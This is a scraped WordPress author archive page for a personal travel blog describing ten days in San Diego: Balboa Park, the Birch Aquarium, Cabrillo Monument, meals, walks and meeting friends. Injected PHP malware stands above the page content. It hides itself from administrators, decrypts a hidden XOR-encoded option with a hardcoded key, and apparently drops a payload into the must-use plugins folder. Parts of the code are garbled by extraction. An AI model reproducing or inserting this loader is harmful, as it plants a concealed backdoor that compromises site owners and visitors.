if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS - Page 42 of 43

EDWARD JACOBS

Author: Ed Jacobs

  • Sunday, January 5

    San Diego, Day 10

    Another relaxing and productive day here in paradise.  Returned the rental car, took the bus to Balboa park where we just bumbled around.  We browsed the Timken Gallery, watched some fine street performers, and just enjoyed the nice weather.  Happy hour at the North Park Brewing Company—just love tasting their stout selection!—and on to dinner at a better-than-mediocre sushi place. 

    The highlight of the day was the rose garden in the park, just so many varieties, colors, and aromas!

  • Saturday, January 4

    San Diego, Day 9

    After a quiet morning of the usual, plus Pattie’s starting to look and plan ahead for a dive trip she’s wanted to make for a while—this for next December already!—we left at noon to head up to the Birch Aquarium in La Jolla. 

    It’s not an enormous aquarium, but its highlights are super; namely seadragons, which are new to me.  Sea horses, more familiar, were also great to see, but the sea dragons, as you can see, are otherworldly.

    A leafy sea dragon
    …and in motion
    sea dragons being sea dragons

    Their central tank had a nice variety of animals, from California Morays to a 300-lb 30-year old sea bass, leopard sharks, and more.  We enjoyed seeing the divers enter, clean, feed, etc., while hearing a talk about the impressive and enormous sea kelp. 

    big ol’ sea bass among the kelp
    sea bass grabbing a quick suction-bite

    The kelp forests are, we understand, a major draw for divers around here.  As kelp thrives in temps ranging from 43-57, and we don’t dive with dry suits, I don’t think that’s something we’ll see firsthand any time soon.

    Every afternoon will lead to a sunset, right?  So like everyone else here, it’s nice to find a good place to enjoy the changing colors.  So when we headed out of the aquarium, we drove south to Mission Beach.  The broad boardwalk made for comfortable walking and eye-popping people watching.  From walkers and runners to riders of bikes, scooters, skateboards, to roller bladers and roller skates, tons of dogs being walked, run, and carried; from people walking with large families to people who work very hard to be seen; on the beach itself people playing games of all sorts, surfers, cheerleading teams working on acrobatics… lots and lots of life to see.  Pattie and I found a good spot to grab a beverage and watch the setting sun and take in the sights on the boardwalk and the beach. 

    After sunset a walk to Marcy’s, for best taco stand meal (perhaps the best meal!) we’ve had these past weeks. Then a stroll through Belmont Park, the adjacent amusement park, a drive back to North Park and a gelato at Figaro’s to cap off the evening. A sweet, sweet day in all respects.

    So relaxing.  Alternatively focusing on something to see here, the changing sky there, losing visual focus and following a train of thought about current writing, having attention re-grabbed by some person or dog.  Just being.  Not worrying about job-work, but just al momento and fading in/out of writing while letting senses lead the ride.  This feels new.

    It feels like falling in love with living life; feels like an affair, cheating on working life.  I feel like I’m pushing 60 and only now learning something important about life and living.  I’ve had others in life model this living for me—but I’m ‘getting’ it today.  Mornings writing, afternoons exploring with Pattie.  This is to be life for the next months, and this just cannot get any better. 

  • Friday, January 3

    San Diego, Day 8

    A work day, a relaxing day.  Pattie slept in, then had some pampering time at a local shop.  And that time became productive writing time for me (in addition to doing laundry).  A nice stroll around North Park in the late afternoon, followed by a super dinner at Tribute Pizza.  Really great, and we didn’t even taste the pizza! 

  • Thursday, January 2

    San Diego, Day 7

    The morning routine continues—writing, yoga, Pattie taking care of her business and taking phone calls from family (all are well, which is always nice to hear).

    We drove to the Cabrillo Nat’l Monument; heading west to Sunset Cliffs, then straight south through Point Loma, which is a gorgeous area.  The monument/park is a great place to spend a few hours (we were there for nearly three), with astounding views of downtown San Diego, the harbor, and also the Pacific.  We did not see any migrating whales, but things were no less breath-taking. Very windy, as you’ll hear on the video, but that’s expected at a spot exposed on all sides, and pretty much the highest spot around.

    After spending time at the visitor’s center, and walking around the monument, the lighthouse, and the appreciating the broad views of downtown and the Pacific, we headed down to the tidepool area. The rocks, the waves along the cliffs, all very dramatic.

    Bumbling through the neighborhood just north of the naval station—this area and another later were some of the most impressive we’ve seen here—made for some nice house browsing.  Houses are close together here, with emphasis on outside living (decks, rooftops, etc.) and views.  They know how to do it, for sure.

    We continued east across the spit of Pt. Loma to the water for our best meal yet, this at Mitch’s Seafood.  A fish stew to die for; and a nice view, to boot.

    As the time was right after our late lunch, we headed back to the west side of Pt. Loma, to watch the sunset at Sunset Cliffs Natural Park.  Clearly this is a popular place for sunset viewing, but plenty of space for all. 

    The coast, both here and further south by the Cabrillo Monument, is so dramatic, rocky, surf-powerful.  More reminiscent of areas along the water at Acadia National Park—Thunder Hole springs to mind—than anything along the sandy coastlines in NC.

    A nice surprise during the visit here was a call from Joe, Cristin, and Jackson. Made it a video call so that they could see our view. That Jackson…warms our hearts to see him!

    Seemed early when we got back to North Park, so strolled for a while, this time north on 30th st.  Many more breweries, and more people are back in the n’hood after the holiday, it appears.

  • Wednesday, January 1

    San Diego, Day 6

    We’ve found a number of spots we want to hit—Cabrillo Monument, La Jolla, some beaches—which are beyond our walking zone.  So today we’ll take advantage of New Year’s day inexpensive car rental rates and have a few days to go further afield. 

    Good writing started the day, then after yoga we took public transport (bus) to the airport, which was very simple.  Picked up the car and headed north to La Jolla, where Pattie had scouted out a great fish place—El Pescadero Fish Market. 

    And it was fabulous.  I could’ve stayed and eaten several meals there.  Then we strolled a bit, noticing folks scurrying in a particular direction.  One of them said they were in a hurry to get to see the sunset…so we followed them to a wonderful spot where lots of people were gathered to spy a gorgeous sight.  Photographers, surfers, people young and old were milling about and enjoying the view. 

    More strolling around La Jolla, to which we’ll return for a full day at some point in the next few, then a little food shopping and on home.

    As Pattie said, “another good day bumbling around.”

  • Tuesday, December 31

    San Diego, Day 5

    We seem to be settling in to a good routine now, with the last days seeing my early morning writing while Pattie sleeps; Pattie’s up about 3 hours later and we have coffee.  I fit in another 1-2 hours while Pattie catches up on news, we get in an easy breakfast, Pattie readies for the day.

    Today I got in a good yoga session while phone calls came in from some of Pattie’s family, catching up on things.

    Then we just explored a new area, walking north to Adams St., then east through Normal Heights and into Kensington.  A day of beautiful weather, so lots of people out and about, kids and parents in parks, dog walkers, and a very pleasant afternoon of walking.

  • Monday, December 30

    San Diego, day 4

    Cold here in this studio apt, especially pre-dawn.  But coffee and the space heater make it tolerable. 

    Slow morning; disappointed in myself for letting some ECU-work emails distract from writing—breaking from that is really the point, isn’t it?—but it’s my own fault.  Just want to assure that I’m not shirking certain particular things that feel like my responsibility to finish up, rather than passing the buck to Travis.  He’s got plenty to do, really doesn’t need anything added to his plate that should have been taken care of already.  This issue should have been dealt with a month ago, but one can’t control others’ adherence to deadlines passed…  Hoping my email this morning will put this to bed, but am unsure.

    The day became a fun one, 10 hours exploring.  We began by walking about 45 minutes to Balboa Park, then picked up a few scooters to finish the trip to the marina.  We had fun on those for about 20 minutes, and saved a bit of time, getting to meet Sam on the dot at 12:30 at his hotel. 

    We introduced Sam to the scooters, riding around the area a little bit, then found a good restaurant in the ‘little Italy’ area not far from the marina.  He’d came here right from Boston, where he had a good visit with the family, he really looks fabulous, and seems to be doing great.  He’s in SF for a tango festival that’s purely social, non-competitive, and include loots of dancing.  He’d arrived Sunday night and danced 11-2.  It was so nice to connect with him, and to hear about his tango activities, his piano teaching/performing, and life in Albuquerque.  After visiting with us, Sam went in to dance 4-7, then more from 9-3…no wonder he’s looking so fit and healthy.

    We followed our lunch with Sam by with a great walk along the waterfront marina, so many boats, including the Midway museum, the Naval base across the water on Coronado Island. 

    We continued through the Gaslamp district (must be 25 restaurants on every block along 5th Ave!),

    and little shops with some much-needed tools…

    and then back onto scooters for a ride back to our n’hood. Back in our area we stopped into the North Park brewing company for a beer, then to a little Mexican place around the corner to grab a bite.  There we stumbled into an engaging conversation with Jerry, who’s from Westchester County, NY, been here for 20 years.  We got to know him a bit, especially interesting is his line of work—irrigation specialist at a local college—and hearing about how various serious water issues are handled here. He’s turning 50 on 12/31, he’s in a long-time relationship with a Mexican-born Naval Reserve officer who’s in the midst of a year-long deployment abroad… Lots to talk about with a very nice guy with perspectives on lots of things, including the area and how it’s developed over the past 20 years. 

    A great day, and so special that the centerpiece was connecting with Sam, whom we’ve not seen in a while.

  • Sunday, December 29

    San Diego, day 3

    A good night’s sleep, and the morning an excellent one for writing.  “Let Them Not Say” has been slowly emerging over the past few mornings, today taking on some discernible shape and harmonic form.  The opening measures now feel quite right, quite prayerful, meditative, evocative of incantation.  Of course, we’ll see how it feels tomorrow…

    We spent some time looking forward to our first week in HI, on Oahu.  We planned a few scuba trips, a snorkel trip, and scouted out a really interesting looking “secret waterfall” hike, and a fruit farm tour.  Not sure those last two will be possible, but we’ll see. 

    A pleasant evening walk to the New Zealand eats spot again, and a nice beer/snack.

    Alas, no pix today.

  • Saturday, December 28

    San Diego

    A day of relaxation, yoga, laundry, strolling around the neighborhood, and a “New Zealand Eats” late lunch.  Very glad to get a surprise call from Sam, who’ll be here for a tango festival.  Looking forward to a lunch with him on Monday!

    Just finding the right people to hang with

  • Friday, December 27

    San Diego

    Arrived SD yesterday—Alaskan Airlines is great!—and made our way to the AirBnB.  Small and cozy, with a great patio.  Hoping the weather cooperates to make the patio comfortable to use; a bit chilly now, as I’m up with coffee, with coat on inside.

    What a fabulous day; started with a walk to University Ave., continued for ~8 miles.  Once we reached Balboa Park, we realized what a great spot that it.  It’s home to numerous museums and small parks—not the least of which is the zoo—and also a food truck festival. 

    in Balboa Park, amidst a food truck festival!
    happening upon an organist’s practice session in Balboa Park

    We’ve found lots of spots we’ll head back to over the coming two weeks.  Today was just a beautiful one, warming up nicely, pleasant and easy walking all day, ending up with pizza and beer at Urb’n.

    So many SoCal sights and sounds, not the least of which was a Water Bar; seriously, a place where you fill your containers with different types of water…

    Thewaterlady.com . . . only in SoCal
    and the ‘bar’ inside

    And just some cool murals/facades, to boot…

    walking along University Ave, not far from Park Blvd, saw this mural